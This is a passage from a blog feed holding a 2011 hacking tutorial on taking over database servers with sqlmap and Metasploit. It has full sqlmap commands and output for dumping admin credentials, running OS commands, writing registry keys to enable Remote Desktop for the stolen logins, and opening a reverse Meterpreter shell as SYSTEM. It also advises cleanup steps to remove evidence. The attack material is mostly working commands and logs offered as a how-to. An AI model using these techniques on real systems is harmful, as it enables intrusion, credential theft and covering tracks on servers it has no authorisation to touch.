administrator&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| adminlog&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; |&lt;/div&gt;&lt;div&gt;| adminmessage |&lt;/div&gt;&lt;div&gt;| bbcode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| config&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;/div&gt;&lt;div&gt;| db_users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | &lt;/div&gt;&lt;div&gt;| etc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;+-----------------+&lt;/div&gt;&lt;div&gt;Command: python sqlmap.py -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --columns -D database1 -T administrator&lt;/div&gt;&lt;div&gt;Database: database1&lt;/div&gt;&lt;div&gt;Table: administrator&lt;/div&gt;&lt;div&gt;[3 Columns]&lt;/div&gt;&lt;div&gt;+----------+---------------+&lt;/div&gt;&lt;div&gt;| Column&amp;nbsp;|&amp;nbsp;&amp;nbsp; &amp;nbsp; Type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;+---------+----------------+&lt;/div&gt;&lt;div&gt;| user&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | varchar(250) |&lt;/div&gt;&lt;div&gt;| pass&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | varchar(250) |&lt;/div&gt;&lt;div&gt;| ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; int(11)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| etc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; varchar(100) |&lt;/div&gt;&lt;div&gt;+--------+-----------------+&lt;/div&gt;&lt;div&gt;Command: python sqlmap.py -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --dump -D database1 -T administrator -C ID,Password,user&lt;/div&gt;&lt;div&gt;Database: database1&lt;/div&gt;&lt;div&gt;Table: administrators&lt;/div&gt;&lt;div&gt;[2 entries]&lt;/div&gt;&lt;div&gt;+-----+------------------------------+------------+&lt;/div&gt;&lt;div&gt;| ID&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; User&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;+-----+------------------------------+------------+&lt;/div&gt;&lt;div&gt;| 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; IhazYOURpassWORD&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; admin &amp;nbsp;&amp;nbsp; |&lt;/div&gt;&lt;div&gt;| 2&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;| IhazYOURpassWORDtoo| JohnDoe&amp;nbsp; |&lt;/div&gt;&lt;div&gt;+-----+------------------------------+------------+&lt;/div&gt;We have got Admin credentials! I hope they work on cpanel...&lt;br /&gt;
OK...so we have pulled all that we can from this server using SQLinjection, or have we? NOT EVEN CLOSE... &lt;br /&gt;
&lt;div&gt;Since we have changed platforms and are now running on Linux with Metasploit also installed it is time to start putting SQLMAP to some real ninja work. Let's see what we have to work with: COmmand: sqlmap.py --help&lt;/div&gt;&lt;div&gt;...excerpt:&lt;/div&gt;&lt;div&gt;&amp;nbsp; Operating system access:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; These options can be used to access the back-end database management&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; system underlying operating system.&lt;/div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --os-cmd=OSCMD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Execute an operating system command &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --os-shell&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Prompt for an interactive operating system shell&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --os-pwn&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Prompt for an out-of-band shell, meterpreter or VNC&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --os-smbrelay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; One click prompt for an OOB shell, meterpreter or VNC&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --os-bof&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Stored procedure buffer overflow exploitation&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --priv-esc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Database process' user privilege escalation&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --msf-path=MSFPATH&amp;nbsp; Local path where Metasploit Framework 3 is installed&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --tmp-path=TMPPATH&amp;nbsp; Remote absolute path of temporary files directory&lt;/div&gt;&lt;br /&gt;
As you can see quit a few options, but all require Linux and working Metasploit as dependancy which is why I did not cover them on the last tutorial. We will begin with '--os-cmd' and work our way down from there explaining the different attack methods as we go...&lt;br /&gt;
&lt;br /&gt;
We can try to run&amp;nbsp;operating system commands using: '--os-cmd' and/or '--os-shell'&lt;br /&gt;
It is possible to execute commands on the database server's underlying operating system when the back-end DBMS is running either MySQL, PostgreSQL or MSSQL Server, AND the session user has the&amp;nbsp;necessary privileges for the database. If you want to understand how SQLMAP accomplishes things please visit the homesite for the product or read the docs included with download as I dont have the time to go into that here, just know it works and is very capable and the methods used can change slightly based on whether or not you need to see/retrive the response back on screen or not...&lt;br /&gt;
These techniques are also well detailed in the white paper which is linked from the homesite's main page, called "Advanced SQL injection to operating system full control". The basic command structure looks like this:&lt;br /&gt;
&lt;br /&gt;
EX: python sqlmap.py -u "&lt;a href="http://site.com/pgsql/example.php?id=1"&gt;http://site.com/pgsql/example.php?id=1&lt;/a&gt;" --os-cmd id -v 1&lt;br /&gt;
&lt;br /&gt;
Results... &lt;br /&gt;
&lt;div&gt;web application technology: PHP 5.2.6, Apache 2.2.9&lt;/div&gt;&lt;div&gt;back-end DBMS: MySQL&lt;/div&gt;&lt;div&gt;[16:09:15] [INFO] fingerprinting the back-end DBMS operating system&lt;/div&gt;&lt;div&gt;[16:09:15] [INFO] the back-end DBMS operating system is Linux&lt;/div&gt;&lt;div&gt;[16:09:18] [INFO] testing if current user is DBA&lt;/div&gt;&lt;div&gt;[16:09:25] [INFO] detecting back-end DBMS version from its banner&lt;/div&gt;&lt;div&gt;[16:09:25] [INFO] checking if UDF 'sys_eval' already exist&lt;/div&gt;&lt;div&gt;[16:09:35] [INFO] checking if UDF 'sys_exec' already exist&lt;/div&gt;&lt;div&gt;[16:09:35] [INFO] creating UDF 'sys_eval' from the binary UDF file&lt;/div&gt;&lt;div&gt;[16:09:35] [INFO] creating UDF 'sys_exec' from the binary UDF file&lt;/div&gt;&lt;div&gt;do you want to retrieve the command standard output? [Y/n/a] y&lt;/div&gt;&lt;div&gt;command standard output:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'uid=104(mysql) gid=106(mysql) groups=106(mysql)'&lt;/div&gt;[16:09:37] [INFO] cleaning up the database management system &lt;br /&gt;
&lt;div&gt;do you want to remove UDF 'sys_eval'? [Y/n] y&lt;/div&gt;&lt;div&gt;do you want to remove UDF 'sys_exec'? [Y/n] y&lt;/div&gt;&lt;div&gt;[16:09:45] [INFO] database management system cleanup finished&lt;/div&gt;&lt;div&gt;[16:09:45] [WARNING] remember that UDF shared object files saved on the file system can &lt;/div&gt;&lt;div&gt;only be deleted manually&lt;/div&gt;&lt;br /&gt;
You should&amp;nbsp;choose "YES" to most of the prompts unless you know what you are really doing. This is especially true for the cleanup phase to remove the user added functions which allow the takeover to take place (thus removing one more piece of evidence)... &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;If SQLMAP has not confirmed stacked queries can be used (i.e. PHP or ASP with back-end database management system running MySQL) and the DBMS is MySQL, it is still possible to perform successful attack using the "INTO_OUTFILE()" function to create a web backdoor in a writable folder within the web server document root allowing command execution (assuming the back-end DBMS and the web server are hosted on the same server - if not then all bets are off!).&amp;nbsp;IF this scenario is detected SQLMAP will prompt the user for additional targets to try and upload the web file stager and backdoor to. The tool has pre-built features allowing you to choose from SQLMAP's file stagers and backdoors for the following languages: ASP, ASP.NET, JSP, and PHP (which is the default option). You will be prompted to make these selections to aid the tool in getting the job done when you run the initial takeover command using '--os-cmd' argument. &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;In addition to executing commands on the underlying OS you can also prompt for a direct SQL Shell to work from using the '--os-shell' argument. It simulates a real shell that will allow you to execute arbitrary commands as you wish, and as many as you need. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has or owuld be exeprienced in most Shell evironments. Another alternative is simply adding your commands with&amp;nbsp;the '--sql-query&amp;nbsp; feature like so:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap.py -u &lt;a href="http://site.com/example.asp?id=666"&gt;http://site.com/example.asp?id=666&lt;/a&gt; --sql-query "SELECT @@datadir"&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: Sometimes SQLMAP will find an injection spot but fail to pull anything useful,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; so it is worth doublechecking your commands here to test the accuracy of results or&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to find certain bits of data that SQLMAP might not have included in the base set&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; of commands (like the example above used to find local directory for SQL installation)&lt;br /&gt;
&lt;br /&gt;
More Takeover Techniques? You bet ya... &lt;br /&gt;
&lt;div&gt;If the Database Server is hosted on a Windows machine you can also use SQLMAP to read and write changes to the system registry. This is possible when the DBMS is running MySQL, PostgreSQL or Microsoft SQL Server AND supports stacked queries. The current session user will also need the proper privileges to access it.&lt;/div&gt;&lt;br /&gt;
Arguments that can be used: &lt;br /&gt;
&lt;div&gt;&amp;nbsp;'--reg-read' used to read registry key values.&lt;/div&gt;&lt;div&gt;&amp;nbsp;'--reg-add' used to write regitry key values&lt;/div&gt;&lt;div&gt;&amp;nbsp;'--reg-del' used to delete registry keys values&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&amp;nbsp;Auxiliary registry switches: '--reg-key', '--reg-value', '--reg-data' and '--reg-type' &lt;br /&gt;
&lt;div&gt;&amp;nbsp;Auxiliary switches can be used as additional arguments to define registry specifics for running the main arguments to skip interactrive prompts&lt;/div&gt;&lt;div&gt;&amp;nbsp;'--reg-key=PATH' used to specify key path for Windows registry&lt;/div&gt;&lt;div&gt;&amp;nbsp;'--reg-value=NAME' used to define value item name inside provided key&lt;/div&gt;&lt;div&gt;&amp;nbsp;'--reg-data=VALUE' used to define value data&lt;/div&gt;&lt;div&gt;&amp;nbsp;'--reg-type=TYPE' used to define the type of value&lt;/div&gt;&lt;br /&gt;
Here is an example of what it would look like if we wanted to check the remote Windows S2k3 target to see if Remote Desktop is enabled alredy:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap.py -u &lt;a href="http://site.com/example.aspx?id=1"&gt;http://site.com/example.aspx?id=1&lt;/a&gt; --reg-read --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections&lt;br /&gt;
&lt;br /&gt;
Results... &lt;br /&gt;
&lt;div&gt;=1...&lt;/div&gt;&lt;div&gt;Damn...0=Enabled..&amp;amp;..1=Disabled&lt;/div&gt;&lt;div&gt;...Good thing we are persistant ;)&lt;/div&gt;&lt;br /&gt;
To enable the Remote Desktop feature on the target machine so we could then remote in using some of the credentials we dumped from the database earlier :)&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap.py -u &lt;a href="http://site.com/example.aspx?id=1"&gt;http://site.com/example.aspx?id=1&lt;/a&gt; --reg-add --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --reg-type=DWORD --reg-data=0&lt;br /&gt;
&lt;br /&gt;
Now issue the '--reg-read' command again to confirm the value was updated and returns a value of 1.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NOTE: On most systems this would require a system restart so this may not be all&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; that helpful in real life settings, but this should give you an idea of what you can&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; be capable of as the options are only limited by you knowledge o the system registy&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; so get to studying... &lt;br /&gt;
&lt;div&gt;...&lt;/div&gt;&lt;div&gt;......&lt;/div&gt;&lt;div&gt;More Takeover Techniques? Yeah, I got&amp;nbsp;a few more for you...&lt;/div&gt;&lt;div&gt;....so that is what SQLMAP is capable of on its own, now let's see what we can do when we add Metasploit to the equation and test SQLMAP using Out-of-band stateful connections (i.e using Metasploit modules &amp;amp; Meterpreter), using the following arguments/switches to put it all together: '--os-pwn', '--os-smbrelay', '--os-bof', '--priv-esc', '--msf-path' and '--tmp-path'. Each of these options will perform different attacks to try and take over the database server. These switches arguments can be used to get an interactive command prompt, a Meterpreter session or a VNC session.&lt;/div&gt;SQLMAP relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. &lt;br /&gt;
&lt;br /&gt;
These techniques are: &lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on MySQL and PostgreSQL. Switch or argument to use attack method: '--os-pwn'&lt;/li&gt;
&lt;li&gt;Upload and execution of a Metasploit's stand-alone payload stager via sqlmap's own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL. Switch or argument to use: '--os-pwn'&lt;/li&gt;
&lt;li&gt;Execution of Metasploit's shellcode by performing a SMB reflection attack ( MS08-068) with a UNC path request from the database server to the your machine where the Metasploit smb_relay server exploit is setup and listening. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows. Switch or argument to use attack method: '--os-smbrelay'&amp;nbsp;&amp;nbsp;_3a) This requires setup of SMBrelay attack from Metasploit's ./msfconsole&lt;/li&gt;
&lt;li&gt;4) Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow ( MS09-004).&amp;nbsp;&amp;nbsp;_4a) sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but &amp;nbsp;it relies on Metasploit to generate the shellcode to get executed upon successful exploitation. Switch or &amp;nbsp;argument to use attack method: '--os-bof'&lt;/li&gt;
&lt;li&gt;Let's begin with option 1: '--os-pwn'&lt;/li&gt;
&lt;/ol&gt;EX: python sqlmap.py -u "&lt;a href="http://www.site.com/mysql/iis/example.aspx?id=1"&gt;http://www.site.com/mysql/iis/example.aspx?id=1&lt;/a&gt;" --os-pwn --msf-path /pentest/exploits/framework3&lt;br /&gt;
&lt;br /&gt;
Most important thing to note here is that we are defining the path to Metasploit using the '--msf-path' argument to tell sqlmap where to look so it can get Metasploit to prepare the shellcode to be used for the attack. (NOTE: I beleive this is one of the reasons it doesnt work on Windows as the path will not use Windows friendly path names/formatting and it seems to be hard coded for Linux use only). This will work similarly to the previous outline aboev for '--os-cmd' in that SQLMAP will do everything possible to make it work without user interaction but it may prompt you to identify the document root folder so it knows where to try and upload to make it work. You can also provide comma separated alternatives as additional otions/places to try. &lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
Results from above '--os-pwn' command... &lt;br /&gt;
&lt;div&gt;[...]&lt;/div&gt;&lt;div&gt;[hh:mm:31] [INFO] the back-end DBMS is MySQL&lt;/div&gt;&lt;div&gt;web server operating system: Windows 2003&lt;/div&gt;&lt;div&gt;web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0&lt;/div&gt;&lt;div&gt;back-end DBMS: MySQL 5.0&lt;/div&gt;&lt;div&gt;[16:10:05] [INFO] fingerprinting the back-end DBMS operating system&lt;/div&gt;&lt;div&gt;[16:10:05] [INFO] the back-end DBMS operating system is Windows&lt;/div&gt;&lt;div&gt;how do you want to establish the tunnel?&lt;/div&gt;&lt;div&gt;[1] TCP: Metasploit Framework (default)&lt;/div&gt;&lt;div&gt;[2] ICMP: icmpsh - ICMP tunneling&lt;/div&gt;&lt;div&gt;&amp;gt; &lt;/div&gt;&lt;div&gt;[16:10:05] [INFO] testing if current user is DBA&lt;/div&gt;&lt;div&gt;[16:10:05] [INFO] fetching current user&lt;/div&gt;&lt;div&gt;what is the back-end database management system architecture?&lt;/div&gt;&lt;div&gt;[1] 32-bit (default)&lt;/div&gt;&lt;div&gt;[2] 64-bit&lt;/div&gt;&lt;div&gt;&amp;gt; &lt;/div&gt;&lt;div&gt;[16:10:05] [INFO] checking if UDF 'sys_bineval' already exist&lt;/div&gt;&lt;div&gt;[16:10:06] [INFO] checking if UDF 'sys_exec' already exist&lt;/div&gt;&lt;div&gt;[16:10:09] [INFO] detecting back-end DBMS version from its banner&lt;/div&gt;&lt;div&gt;[16:10:09] [INFO] retrieving MySQL base directory absolute path&lt;/div&gt;&lt;div&gt;[16:10:11] [INFO] creating UDF 'sys_bineval' from the binary UDF file&lt;/div&gt;&lt;div&gt;[16:10:12] [INFO] creating UDF 'sys_exec' from the binary UDF file&lt;/div&gt;&lt;div&gt;how do you want to execute the Metasploit shellcode on the back-end database underlying &lt;/div&gt;&lt;div&gt;operating system?&lt;/div&gt;&lt;div&gt;[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)&lt;/div&gt;&lt;div&gt;[2] Stand-alone payload stager (file system way)&lt;/div&gt;&lt;div&gt;&amp;gt; &lt;/div&gt;&lt;div&gt;[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode &lt;/div&gt;&lt;div&gt;which connection type do you want to use?&lt;/div&gt;&lt;div&gt;[1] Reverse TCP: Connect back from the database host to this machine (default)&lt;/div&gt;&lt;div&gt;[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports &lt;/div&gt;&lt;div&gt;between the specified and 65535&lt;/div&gt;&lt;div&gt;[3] Bind TCP: Listen on the database host for a connection&lt;/div&gt;&lt;div&gt;&amp;gt; &lt;/div&gt;&lt;div&gt;which is the local address? [192.168.136.1] &lt;/div&gt;&lt;div&gt;which local port number do you want to use? [60641] &lt;/div&gt;&lt;div&gt;which payload do you want to use?&lt;/div&gt;&lt;div&gt;[1] Meterpreter (default)&lt;/div&gt;&lt;div&gt;[2] Shell&lt;/div&gt;&lt;div&gt;[3] VNC&lt;/div&gt;&lt;div&gt;&amp;gt; &lt;/div&gt;&lt;div&gt;[16:10:15] [INFO] creation in progress ... done&lt;/div&gt;&lt;div&gt;[16:10:15] [INFO] running Metasploit Framework 3 command line interface locally, please wait..&lt;/div&gt;&amp;nbsp; &lt;br /&gt;
&amp;lt;METASPLOIT Banner&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ metasploit v3.8.0-dev [core:3.8 api:1.0]&lt;br /&gt;
+ -- --=[ 688 exploits - 357 auxiliary - 39 post&lt;br /&gt;
+ -- --=[ 217 payloads - 27 encoders - 8 nops&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; =[ svn r12655 updated today (2011.05.17) &lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
PAYLOAD =&amp;gt; windows/meterpreter/reverse_tcp &lt;br /&gt;
&lt;div&gt;EXITFUNC =&amp;gt; thread&lt;/div&gt;&lt;div&gt;LPORT =&amp;gt; 60641&lt;/div&gt;&lt;div&gt;LHOST =&amp;gt; 192.168.136.1&lt;/div&gt;&lt;div&gt;[*] Started reverse handler on 192.168.136.1:60641 &lt;/div&gt;&lt;div&gt;[*] Starting the payload handler...&lt;/div&gt;&lt;div&gt;[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', &lt;/div&gt;&lt;div&gt;please wait..&lt;/div&gt;&lt;div&gt;[*] Sending stage (749056 bytes) to 192.168.136.129&lt;/div&gt;&lt;div&gt;[*] Meterpreter session 1 opened (192.168.136.1:60641 -&amp;gt; 192.168.136.129:1689) at Mon Apr 11 &lt;/div&gt;&lt;div&gt;hh:mm:52 +0100 2011&lt;/div&gt;meterpreter &amp;gt; Loading extension espia...success. &lt;br /&gt;
&lt;div&gt;meterpreter &amp;gt; Loading extension incognito...success.&lt;/div&gt;&lt;div&gt;meterpreter &amp;gt; [-] The 'priv' extension has already been loaded.&lt;/div&gt;&lt;div&gt;meterpreter &amp;gt; Loading extension sniffer...success.&lt;/div&gt;&lt;div&gt;meterpreter &amp;gt; System Language : en_US&lt;/div&gt;&lt;div&gt;OS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : Windows .NET Server (Build 3790, Service Pack 2).&lt;/div&gt;&lt;div&gt;Computer&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : W2K3R2&lt;/div&gt;&lt;div&gt;Architecture&amp;nbsp;&amp;nbsp;&amp;nbsp; : x86&lt;/div&gt;&lt;div&gt;Meterpreter&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : x86/win32&lt;/div&gt;&lt;div&gt;meterpreter &amp;gt; Server username: NT AUTHORITY\SYSTEM&lt;/div&gt;&lt;div&gt;meterpreter &amp;gt; ipconfig&lt;/div&gt;&lt;div&gt;MS TCP Loopback interface&lt;/div&gt;&lt;div&gt;Hardware MAC: 00:00:00:00:00:00&lt;/div&gt;&lt;div&gt;IP Address&amp;nbsp; : 127.0.0.1&lt;/div&gt;&lt;div&gt;Netmask&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 255.0.0.0&lt;/div&gt;Intel(R) PRO/1000 MT Network Connection &lt;br /&gt;
&lt;div&gt;Hardware MAC: 00:0c:29:fc:79:39&lt;/div&gt;&lt;div&gt;IP Address&amp;nbsp; : 192.168.136.129&lt;/div&gt;&lt;div&gt;Netmask&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 255.255.255.0&lt;/div&gt;meterpreter &amp;gt; exit &lt;br /&gt;
&lt;div&gt;[*] Meterpreter session 1 closed.&amp;nbsp; Reason: User exit&lt;/div&gt;&amp;nbsp; &lt;br /&gt;
By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user "postgres" on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE. &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;It is also possible to provide sqlmap with the --priv-esc switch to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique ( MS10-015). &lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;This brings us to the end of this adventure. I hope you have enjoyed these last few articles on some different methods to performing SQL injection with this great tool called SQLMAP. I can only think of one other topic for which I might cover this tool again and that would be how to use it to attack an ORACLE database like the new 10g or 11g but we will see (not sure if I have any time anytime soon).&amp;nbsp;I am also leaning towards a quick mini article on SQLNINJA a similar tool whose goal is less focused on extracting data and more focused on getting full access to underlying OS and really has some neat features built into it and then on to bigger and better topics. I hope to bring you more tutorials and introductions to other great tools in the near future, until then please stay tuned and check back often for updates. Until next time - H.R.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-6495090393668047101?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vblGqLk92hXpbq00-YQnDXDP2jA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vblGqLk92hXpbq00-YQnDXDP2jA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vblGqLk92hXpbq00-YQnDXDP2jA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vblGqLk92hXpbq00-YQnDXDP2jA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/0YNDrPIlhe4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/6495090393668047101/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/05/owning-database-with-sqlmap-and.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/6495090393668047101?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/6495090393668047101?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/0YNDrPIlhe4/owning-database-with-sqlmap-and.html" title="Owning the Database with SQLMAP and METASPLOIT" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/05/owning-database-with-sqlmap-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QFQng7cCp7ImA9WhZXGUo.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-2367849738517970986</id><published>2011-05-09T17:15:00.000-05:00</published><updated>2011-05-09T17:15:13.608-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-09T17:15:13.608-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="POST" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="GET" /><category scheme="http://www.blogger.com/atom/ns#" term="SQLi" /><category scheme="http://www.blogger.com/atom/ns#" term="POST Injection" /><category 